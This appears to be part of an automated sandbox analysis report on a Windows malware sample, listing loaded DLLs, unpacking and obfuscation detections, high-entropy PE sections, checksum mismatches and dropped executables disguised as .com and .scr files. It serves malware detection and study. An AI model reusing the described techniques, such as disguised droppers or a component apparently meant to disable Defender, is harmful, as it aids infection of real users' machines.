Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: windows.shell.servicehostbuilder.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1873920 > 1048576

Source: file.exe

Static PE information: Raw size of hukqwfqu is bigger than: 0x100000 < 0x197c00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: c7f41aa061.exe, 0000002F.00000003.3276046785.0000000004E70000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hukqwfqu:EW;duyfafyf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hukqwfqu:EW;duyfafyf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.690000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hukqwfqu:EW;duyfafyf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hukqwfqu:EW;duyfafyf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.690000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hukqwfqu:EW;duyfafyf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hukqwfqu:EW;duyfafyf:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe

Code function: 9_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

9_2_00406328

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 3ee5495637.exe.6.dr	Static PE information: real checksum: 0x1b6206 should be: 0x1c3cde
Source: fMb18eF.exe.6.dr	Static PE information: real checksum: 0x418363 should be: 0x42297a
Source: fMb18eF[1].exe.6.dr	Static PE information: real checksum: 0x418363 should be: 0x42297a
Source: QwGWuQZ[1].exe.6.dr	Static PE information: real checksum: 0x138e94 should be: 0x139977
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x2aec83 should be: 0x2ad51f
Source: 3907f97605.exe.6.dr	Static PE information: real checksum: 0x1ccef5 should be: 0x1d6134
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x431304 should be: 0x43d349
Source: 779ae05f2f.exe.6.dr	Static PE information: real checksum: 0x431304 should be: 0x43d349
Source: c7f41aa061.exe.6.dr	Static PE information: real checksum: 0x2aec83 should be: 0x2ad51f
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1ccef5 should be: 0x1d6134
Source: QwGWuQZ.exe.6.dr	Static PE information: real checksum: 0x138e94 should be: 0x139977
Source: file.exe	Static PE information: real checksum: 0x1d2657 should be: 0x1d1663
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d2657 should be: 0x1d1663
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x1b6206 should be: 0x1c3cde

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hukqwfqu
Source: file.exe	Static PE information: section name: duyfafyf
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: hukqwfqu
Source: skotes.exe.0.dr	Static PE information: section name: duyfafyf
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name: yfiarvre
Source: random[1].exe.6.dr	Static PE information: section name: kcckixnl
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: c7f41aa061.exe.6.dr	Static PE information: section name:
Source: c7f41aa061.exe.6.dr	Static PE information: section name: .idata
Source: c7f41aa061.exe.6.dr	Static PE information: section name: yfiarvre
Source: c7f41aa061.exe.6.dr	Static PE information: section name: kcckixnl
Source: c7f41aa061.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: kzyuzjct
Source: random[2].exe.6.dr	Static PE information: section name: xpspqxsm
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 3ee5495637.exe.6.dr	Static PE information: section name:
Source: 3ee5495637.exe.6.dr	Static PE information: section name: .idata
Source: 3ee5495637.exe.6.dr	Static PE information: section name:
Source: 3ee5495637.exe.6.dr	Static PE information: section name: kzyuzjct
Source: 3ee5495637.exe.6.dr	Static PE information: section name: xpspqxsm
Source: 3ee5495637.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: ozcvkfvj
Source: random[1].exe1.6.dr	Static PE information: section name: iubdojmz
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 779ae05f2f.exe.6.dr	Static PE information: section name:
Source: 779ae05f2f.exe.6.dr	Static PE information: section name: .rsrc
Source: 779ae05f2f.exe.6.dr	Static PE information: section name: .idata
Source: 779ae05f2f.exe.6.dr	Static PE information: section name:
Source: 779ae05f2f.exe.6.dr	Static PE information: section name: ozcvkfvj
Source: 779ae05f2f.exe.6.dr	Static PE information: section name: iubdojmz
Source: 779ae05f2f.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: fwtvsnnj
Source: random[1].exe2.6.dr	Static PE information: section name: vcdokcsv
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 3907f97605.exe.6.dr	Static PE information: section name:
Source: 3907f97605.exe.6.dr	Static PE information: section name: .idata
Source: 3907f97605.exe.6.dr	Static PE information: section name:
Source: 3907f97605.exe.6.dr	Static PE information: section name: fwtvsnnj
Source: 3907f97605.exe.6.dr	Static PE information: section name: vcdokcsv
Source: 3907f97605.exe.6.dr	Static PE information: section name: .taggant
Source: service123.exe.7.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Code function: 7_3_0168BA02 push ebx; iretd	7_3_0168BA21
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Code function: 7_3_0168B9C3 push edi; iretd	7_3_0168BA01
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014D75CC push eax; retf	31_3_014D75CD
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014D66F0 push eax; retf	31_3_014D66F1
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014860C8 push esp; retf	31_3_014860C9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014860C8 push esp; retf	31_3_014860C9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014860C8 push esp; retf	31_3_014860C9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_01484EE4 pushad ; retf	31_3_01484EE5
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_01484EE4 pushad ; retf	31_3_01484EE5
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_01484EE4 pushad ; retf	31_3_01484EE5
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_0147A1E8 pushad ; retf	31_3_0147A1E9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_0147A1E8 pushad ; retf	31_3_0147A1E9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_0147A1E8 pushad ; retf	31_3_0147A1E9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_0147CF99 pushfd ; iretd	31_3_0147CF9D
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_0147CF99 pushfd ; iretd	31_3_0147CF9D
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_0147CF99 pushfd ; iretd	31_3_0147CF9D
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_01479B18 pushad ; retf	31_3_01479B1D
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_01479B18 pushad ; retf	31_3_01479B1D
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_01479B18 pushad ; retf	31_3_01479B1D
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014F0CC1 pushad ; retf 0012h	31_3_014F0CC2
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014EB4E1 push edi; retn 0012h	31_3_014EB4E2
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C539C push esp; retf	31_3_014C539D
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C539C push esp; retf	31_3_014C539D
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014C539C push esp; retf	31_3_014C539D
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014860C8 push esp; retf	31_3_014860C9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014860C8 push esp; retf	31_3_014860C9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_014860C8 push esp; retf	31_3_014860C9
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_01484EE4 pushad ; retf	31_3_01484EE5
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_01484EE4 pushad ; retf	31_3_01484EE5
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_01484EE4 pushad ; retf	31_3_01484EE5
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Code function: 31_3_0147A1E8 pushad ; retf	31_3_0147A1E9

Source: file.exe	Static PE information: section name: entropy: 7.986304987757726
Source: file.exe	Static PE information: section name: hukqwfqu entropy: 7.952987780684621
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.986304987757726
Source: skotes.exe.0.dr	Static PE information: section name: hukqwfqu entropy: 7.952987780684621
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.802799345548783
Source: c7f41aa061.exe.6.dr	Static PE information: section name: entropy: 7.802799345548783
Source: random[2].exe.6.dr	Static PE information: section name: kzyuzjct entropy: 7.953368185260934
Source: 3ee5495637.exe.6.dr	Static PE information: section name: kzyuzjct entropy: 7.953368185260934
Source: random[1].exe1.6.dr	Static PE information: section name: ozcvkfvj entropy: 7.954744975540035
Source: 779ae05f2f.exe.6.dr	Static PE information: section name: ozcvkfvj entropy: 7.954744975540035
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.982113095110462
Source: random[1].exe2.6.dr	Static PE information: section name: fwtvsnnj entropy: 7.953020845003473
Source: 3907f97605.exe.6.dr	Static PE information: section name: entropy: 7.982113095110462
Source: 3907f97605.exe.6.dr	Static PE information: section name: fwtvsnnj entropy: 7.953020845003473

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	File created: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	File created: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	File created: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\QwGWuQZ[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Jump to dropped file
